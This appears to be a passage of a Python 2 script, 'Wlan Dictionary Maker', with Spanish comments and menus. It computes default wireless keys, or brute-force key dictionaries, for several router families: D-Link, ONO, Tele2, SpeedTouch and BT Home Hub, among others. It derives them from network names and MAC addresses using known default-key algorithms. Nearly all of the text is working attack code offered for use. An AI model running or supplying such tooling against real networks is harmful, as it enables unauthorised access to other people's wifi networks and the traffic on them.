        while (opc!='g' and opc!='a'):
                print >> sys.stderr,"Que tipo de diccionario prefieres, general(g) o por anhos(a)?",
                opc=raw_input('')
        if opc=='a':
                print >> sys.stderr,"Introduce anho incicial (4 digitos):",
                init=raw_input('')
                print >> sys.stderr,"Introduce anho final (4 digitos):",
                end=raw_input('')
        r_wlan(opc,init,end)

###################################################################
# ADSL
# Para las redes ADSLXXXX
# Esto se encarga de todo el proceso, comprueba que existe la libreria de hash, la importa y le va pasando los valores

def adsl_wlan(essid):
        haymd5=True
        essid_vars=range(4)
        try:
                import hashlib
        except:
                print >> sys.stderr, "No se ha encontrado el modulo de funciones hash."
                haymd5=False
        if haymd5:
                i=4
                j=0
                act=range(8)
                while i>0:
                        essid_vars[j]=essid[len(essid)-i]
                        j+=1
                        i-=1
                i=0
                while i<4:
                        act[i]='a'
                        i+=1
                while i<8:
                        act[i]=essid_vars[i-4]
                        i+=1
                fin=False
                while not fin:
                        act=permute_lowcase(act,3)
                        print hashlib.md5(str(act)).hexdigest()
                        i=0
                        j=0
                        while i<4:
                             if act[i]=='z':
                                     j+=1
                             i+=1
                        if j==4:
                                     fin=True

################################################################
# Esto es el menu para las ADSL

def menu_adsl_wlan():
        print >> sys.stderr,"Introduce el nombre de la red:",
        essid=raw_input('')
        adsl_wlan(essid)

################################################################
# DLink
# Para las redes DLINK-WIRELESS
# Devuelve las dos posibles contrasenhas predefinidas a partir de la bssid

def dlink_wlan(bssid,auto):
        # Ojo, que la master Key real es la misma pero con todos los valores +1
        # pero esto esta asi para que funcione bien con los arrays de python
        master_key=[5,0,4,1,2,3,5,4,1,2,3,0,2]
        mac=clean_bssid(bssid)
        mac=hex_upcase(mac)
        if check_bssid(mac,12)==False:
            print >> sys.stderr, "La mac tiene que llevar 6 parejas de 2 caracteres (12 en total)"
        else:
            ppas=[mac[0:2],mac[2:4],mac[4:6],mac[6:8],mac[8:10],mac[10:12]]
            if auto==False:
                  print >> sys.stderr, "Prueba con esta:\n",
            for num in master_key:
                print  str(ppas[num][0])+str(ppas[num][1]),
            print ''
            if ppas[2][1]!='0' or ppas[2][0]!='0':
               if auto==False:     
                     print >> sys.stderr, "Y con esta:",
               print ""
               i=0
               j=0
               for num in master_key:
                       if i==12:
                               j=-1
                       else:
                               j=0
                       if not (j==-1 and (ppas[num][1]=='A' or ppas[num][1]=='0')):
                         print  str(ppas[num][0])+str(chr(ord(ppas[num][1])+j)),
                       elif ppas[num][1]=='A':
                           print  str(ppas[num][0])+"9",
                       else:
                           print  str(chr(ord(ppas[num][0])+j))+"F",
                       i+=1
        
############################################################
# Menu para las D-link

def menu_dlink_wlan():
      print >> sys.stderr,"Introduce la MAC del router:",
      mac=raw_input('')
      dlink_wlan(mac,False)

############################################################
# ONO
# Para las redes PXXXXXXXXXXXXX
# Devuelve la contrasenha por defecto de estas redes. (No comprueba si el essid es correcto, lo unico que hace es eliminar la P y restarle 1 a lo que queda)

def ono_wlan(essid,auto):
        i=0
        nov=[]

        for algo in essid:
                if algo!='P' and algo!='p':
                        ult=int(algo)
                        nov.append(algo)
        if ult!=0:
                ult-=1
                nov[len(nov)-1]=str(ult)
        if auto==False:
                print >> sys.stderr, "Prueba con esta: ",
        for byte in nov:
            print byte,

#################################################################
# Menu para las redes de ONO

def menu_ono_wlan():
        print >> sys.stderr,"Introduce el Nombre de la red:",
        essid=raw_input('')
        ono_wlan(essid,False)

#################################################################
# Tele2
# Para las redes de Tele2
# Va preparando las contrasenhas predeterminadas posibles y mandandolas a strshow

def tele2_wlan(opc):
        act=range(9)
        fin=range(9)
        i=1
        while (i<9):
                act[i]='0'
                i+=1
        i=1
        while (i<9):
                fin[i]='9'
                i+=1
        if opc=='7':
                act[0]=opc
                fin[0]=opc
        elif opc=='8':
                act[0:2]='PV'
                fin[0:2]='PV'
        else:
                act[0]='0'
                fin[0]='9'
        passwd=range(13)
        passwd[0:4]="IX1V"
        while (act!=fin):
                i=4
                for char in act:
                        passwd[i]=str(char)
                        i+=1
                strshow(passwd)
                act=permute_text_int(act,8)

#################################################################
# Menu para las Tele2

def menu_tele2_wlan():
    opc=''
    while (opc!='g' and opc!='7' and opc!='8'):
                print >> sys.stderr,"Que tipo de diccionario prefieres, general(g), el de 2007(7), el de 2008(8)?",
                opc=raw_input('')
    tele2_wlan(opc)
#################################################################
# SpeedTouch
# Para redes SpeedTouch
# ->Algoritmo descubierto por Kevin Devine
# Funcion general

def speed_touch_wlan(ssid,num,inicio,fin):
        lib=True
        try:
                import hashlib
        except:
                lib=False
                print >> sys.stderr, "No se encontro la libreria de hashes"
        if lib:
                endyear=[]
                passwd=range(9)
                endyear.append(fin[0])
                endyear.append(fin[1])
                essid=ssid[len(ssid)-num:len(ssid)]
                essid=essid.lower()
                true_endyear=permute_text_int(endyear,1)
                passwd[0:2]="CP"
                passwd[2:4]=string.join(inicio,"")   # Anho de inicio
                while passwd[2:4]!=true_endyear:
                        passwd[4:6]="00"
                        while string.join(passwd[4:6],"")!="53":
                                passwd[6:9]="000"
                                while string.join(passwd[6:9],"")!="ZZZ":
                                        check_speedTouch(passwd,essid,num)
                                        permute_comp(passwd,8)
                                check_speedTouch(passwd,essid,num)
                                permute_text_int(passwd,5)
                        check_speedTouch(passwd,essid,num)
                        permute_text_int(passwd,3)

#################################################################
# Funcion de comprobacion de las redes SpeedTouch

def check_speedTouch(pas,essid,num):
        import hashlib
        correct=True
        hexpas=range(12)
        hexpas[0:6]=pas[0:6]
        hexpas[6:12]=ascii2hex(pas[6:9])
        out=hashlib.sha1(string.join(hexpas,"")).hexdigest()
        chk=string.join(out[len(out)-num:len(out)],"")
        if essid==chk:
                if num==6:
                        print str(out[0:10].upper())
                else:
                        print str(out[0:10].lower())

#################################################################
# Menu para las redes SpeedTouch

def menu_speed_touch_wlan():
        print >> sys.stderr,"Introduce el nombre de la red:",
        essid=raw_input("")
        print >> sys.stderr,"Introduce el anho por el que se comenzara la busqueda (por ejemplo 05):",
        inicio=raw_input("")
        print >> sys.stderr,"Introduce el ultimo anho de la busqueda (por ejemplo 09):",
        fin=raw_input("")
        speed_touch_wlan(essid,6,inicio,fin)

#################################################################
# Menu para las redes BTHomeHub
# El resto del codigo se usa el de SpeedTouch

def menu_bthh_wlan():

        print >> sys.stderr,"Introduce el nombre de la red:",
        essid=raw_input("")
        print >> sys.stderr,"Introduce el anho por el que se comenzara la busqueda (por ejemplo 05):",
        inicio=raw_input("")
        print >> sys.stderr,"Introduce el ultimo anho de la busqueda (por ejemplo 09):",
        fin=raw_input("")
        speed_touch_wlan(essid,4,inicio,fin)


#################################################################
# Mensaje de error (para cualquier error en los parametros)

def error_param():
    print >> sys.stderr, "Error, parametros no validos."
    print >> sys.stderr, "Ejecuta el script con -? para mostrar las opciones."

#################################################################
# Mensaje de... ayuda?

def wdic_ayuda():
    print >> sys.stderr, " Wlan Dictionary Maker"
    print >> sys.stderr, " Opciones:\n"

    print >> sys.stderr, "  Sin argumentos: Ejecuta el script a traves de los menus.\n"

    print >> sys.stderr, "  =>Para redes WLAN o JAZZTEL: wdic.py wlan essid bssid"
    print >> sys.stderr, "   essid: Nombre de la red Wifi (?? si no se conoce)."
    print >> sys.stderr, "   bssid: Bssid de el punto de acceso.\n"

    print >> sys.stderr, "  =>Para redes R: wdic.py r -opc [anho_inicial] [anho_final]"
    print >> sys.stderr, "   Opc: -g para diccionario general, -a para diccionario por anhos."
    print >> sys.stderr, "   Anho final e inicial con 4 digitos.\n"

    print >> sys.stderr, "  =>Para redes ADSL: wdic.py adsl essid"
    print >> sys.stderr, "   essid: Nombre de la red Wifi."
    print >> sys.stderr, "  ->Salida en hexadecimal.\n"

    print >> sys.stderr, "  =>Para redes DLINK-WIRELESS: wdic.py dlink bssid"
    print >> sys.stderr, "   bssid: Bssid de el punto de acceso."
    print >> sys.stderr, "  ->Salida en hexadecimal.\n"

    print >> sys.stderr, "  =>Para redes ONO (PXXXXXXXXXXXX): wdic.py ono essid"
    print >> sys.stderr, "   essid: Nombre de la red Wifi.\n"

    print >> sys.stderr, "  =>Para redes Tele2: wdic.py tele2 opc "
    print >> sys.stderr, "   Opc: g para diccionario general, 7 para diccionario de 2007 y 8 para el de 2008.\n"
    print >> sys.stderr, "   Anho final e inicial con 2 digitos.\n"

    print >> sys.stderr, "  =>Para redes SpeedTouch: wdic.py speedtouch essid anho_inicial anho_final"
    print >> sys.stderr, "   essid: Nombre de la red Wifi.\n"

    print >> sys.stderr, "  =>Para redes BT Home Hub: wdic.py bthh essid anho_inicial anho_final"
    print >> sys.stderr, "   essid: Nombre de la red Wifi.\n"
    
    print >> sys.stderr, "  ->Nota: Cuando pide el nombre de la red solo coje la parte que cambia, asi que por ejemplo en WLAN_AB se podria poner simplemente AB\n"

#################################################################
# Menu general del script

def menu():

        print >> sys.stderr, "Bienvenid@ a Wlan Dictionary Maker.\n"
        fin=False
        while (fin==False):
                print >> sys.stderr, "\tSelecciona un tipo de Wifi.\n"
                print >> sys.stderr, "\tWEP\n"
                print >> sys.stderr, "\t a) WLAN_XX"
                print >> sys.stderr, "\t b) JAZZTEL_XX"
                print >> sys.stderr, "\t c) R-WLANXX"
                print >> sys.stderr, "\t d) ADSLXXXX"
                print >> sys.stderr, "\t e) DLINK-WIRELESS"
                print >> sys.stderr, "\t f) PXXXXXXXXX\t(ONO)\n"
                print >> sys.stderr, "\tWPA\n"
                print >> sys.stderr, "\t g) Tele2"
                print >> sys.stderr, "\t h) SpeedTouch"
                print >> sys.stderr, "\t i) BTHomeHub"
                print >> sys.stderr, "\t x) Salir"

                print >> sys.stderr, '\n->',
                opc=raw_input('')
                if (opc=='a'):
                        menu_wlan()
                elif (opc=='b'):
                        menu_wlan()
                elif (opc=='c'):
                        menu_r_wlan()
                elif (opc=='d'):
                        menu_adsl_wlan()
                elif (opc=='e'):
                        menu_dlink_wlan()
                elif (opc=='f'):
                        menu_ono_wlan()
                elif (opc=='g'):
                        menu_tele2_wlan()
                elif (opc=='h'):
                        menu_speed_touch_wlan()
                elif (opc=='i'):
                        menu_bthh_wlan()
                elif (opc=='x'):
                        fin=True
                else:
                        print >> sys.stderr, "\n+-----------------------+"
                        print >> sys.stderr, "| Opcion no encontrada. |"
                        print >> sys.stderr, "+-----------------------+\n"
                        print >> sys.stderr, " -> Pulsa enter para continuar.\n"
                if not fin:
                        raw_input()



# Listo, de aqui hasta abajo solo se encarga de comprobar que argumentos se mandaron y lanzar las funciones

try:
        argc=len(sys.argv)
except:
        argc=1

# Sin parametros (menu):
if argc==1:
    menu()

# Ayuda:
elif argc==2 and sys.argv[1]=="-?":
    wdic_ayuda()

###### WEP ######

# Wlan y Jazztel:
elif sys.argv[1]=='wlan':
    if argc==4:
        wlan(sys.argv[2],sys.argv[3])
    else:
        error_param()

# R:
elif sys.argv[1]=='r':
    if argc>2:
        if sys.argv[2]=='-a':
            r_wlan('a',sys.argv[3],sys.argv[4])     
        elif sys.argv[2]=='-g':
            r_wlan('g')
        else:
            error_param()
    else:
        error_param()

# ADSL:
elif sys.argv[1]=='adsl':
        if argc==3:
                adsl_wlan(sys.argv[2])
        else:
                error_param()

# D-Link
elif sys.argv[1]=='dlink':
        if argc==3:
                dlink_wlan(sys.argv[2],True)
        else:
                error_param()

# ONO
elif sys.argv[1]=='ono':
        if argc==3:
                ono_wlan(sys.argv[2],True)
        else:
                error_param()


###### WPA ######

# Tele2:
elif sys.argv[1]=='tele2':
    if argc==3:
            tele2_wlan(sys.argv[2])     
    else:
        error_param()

# SpeedTouch:
elif sys.argv[1]=='speedtouch':
    if argc==5:
            speed_touch_wlan(sys.argv[2],6,sys.argv[3],sys.argv[4])
    else:
        error_param()

# SpeedTouch:
elif sys.argv[1]=='speedtouch':
    if argc==5:
            speed_touch_wlan(sys.argv[2],6,sys.argv[3],sys.argv[4])
    else:
        error_param()

# BT Home Hub:
elif sys.argv[1]=='bthh':
    if argc==5:
            speed_touch_wlan(sys.argv[2],4,sys.argv[3],sys.argv[4])
    else:
        error_param()


# Sino...
else:
    error_param()